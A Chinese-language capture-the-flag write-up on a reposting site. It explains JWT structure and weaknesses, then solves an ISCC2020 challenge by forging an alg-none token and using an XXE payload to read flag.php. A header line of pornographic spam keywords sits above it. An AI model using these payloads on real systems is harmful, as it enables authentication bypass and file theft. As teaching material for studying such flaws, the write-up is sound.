日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

关于JWT的赛题

發布時間:2024/9/30 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 关于JWT的赛题 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

關于JWT的賽題之前確實是沒有接觸過,一開始遇到也多少有點懵,靜下心來總結些這類的賽題!

0x00:JWT簡介

JWT(JSON Web Token) 是一個非常輕巧的規范,通過這個規范,可以傳遞可靠的安全信息,JWT常被用于前后端分離,可以和Restful API配合使用,常用于構建身份認證機制。

JWT的數據格式分為三個部分: headers , payloads,signature(簽名),它們使用.點號分割頭部(Header)用于描述JWT的最基本的信息 { “typ”:JWT, “alg”:HS256} #base64 編碼之后,形成頭部載荷(Payload)也是json形式,如: {"sub": "1234567890","name": "John Doe","iat": 1516239022 } 簽名: 將上面的兩個編碼后的字符串用.連接在一起 提供一個密鑰(secret)用頭部所規定的算法加密就可以形成一個新的字符串同樣 需要base64編碼,以上將三個部分用 .拼接在一起,就形成了一個完整的JWT令牌

驗證

1.首先服務端會產生一個key,然后以這個key作為密鑰,使用第一部分選擇的加密方式,對第一部分和第二部分拼接的結果進行加密,然后把加密結果放到第三部分。
2.服務器每次收到信息都會對它的前兩部分進行加密,然后比對加密后的結果是否跟客戶端傳送過來的第三部分相同,如果相同則驗證通過,否則失敗。

0x01:JWT的安全問題

繞過這種驗證機制

  • 修改算法為none
  • 后端若支持none算法,header中的alg字段可被修改為none,去掉JWT中的signature數據(僅剩header + .+ payload + .) 然后直接提交到服務端去。

  • 修改算法RS256為HS256
  • RS256是非對稱加密算法,HS是對稱加密算法,如果JWT內部的函數支持的RS256算法,同時又支持HS256算法,而且如果已知公鑰的話,將算法改成HS256,那么后端就會用這個公鑰當作密鑰來加密

  • 信息泄露
  • JWT是以base64編碼傳輸的,雖然密鑰不可見,但是其數據記本上是明文傳輸的,如果傳輸了重要的內容,可以base64解碼然后獲取其重要的信息。

  • 爆破密鑰
  • 如果密鑰比較短的話,已知加密算法,通過暴力破解的方式,可以得到其密鑰。

    工具:
    jwt.io
    JWT Tool

    ISCC2020-未知的風險

    題目描述:

    抓包發現有一個token,base64解碼發現是JWT

    使用這個網站來更改其中的數據,題目提示說是只有user可以進入,那就更改下id
    https://jwt.io/

    但這里我怎么都找不都key值,只能通過爆破來試試

    但這個太長了,爆破時間太長,就不爆破了,換另外一種思路,看了一些師傅們關于這方面的博客,寫的有低版本的JWT,密鑰也可以直接設為none,來進行偽造,可以嘗試一下:

    先改下id把紫色的部分復制下來,然后在將頭部的格式進行base64加密,進行拼接

    ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTQwNDcsImp0aSI6IjIzOThmODY5N2Y5YTJjZDliZDBjYTQwOTcwOWVkN2FlIn0.


    顯示了這個說明繞過去了,包發送去發現是個登陸

    這個格式一看就是XML注入

    payload:

    <?xml version="1.0"?> <!DOCTYPE hack [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]> <user><username>&test;</username><password>hack</password> </user>


    解碼即可

    待遇到新的再進行補充!

    總結

    以上是生活随笔為你收集整理的关于JWT的赛题的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。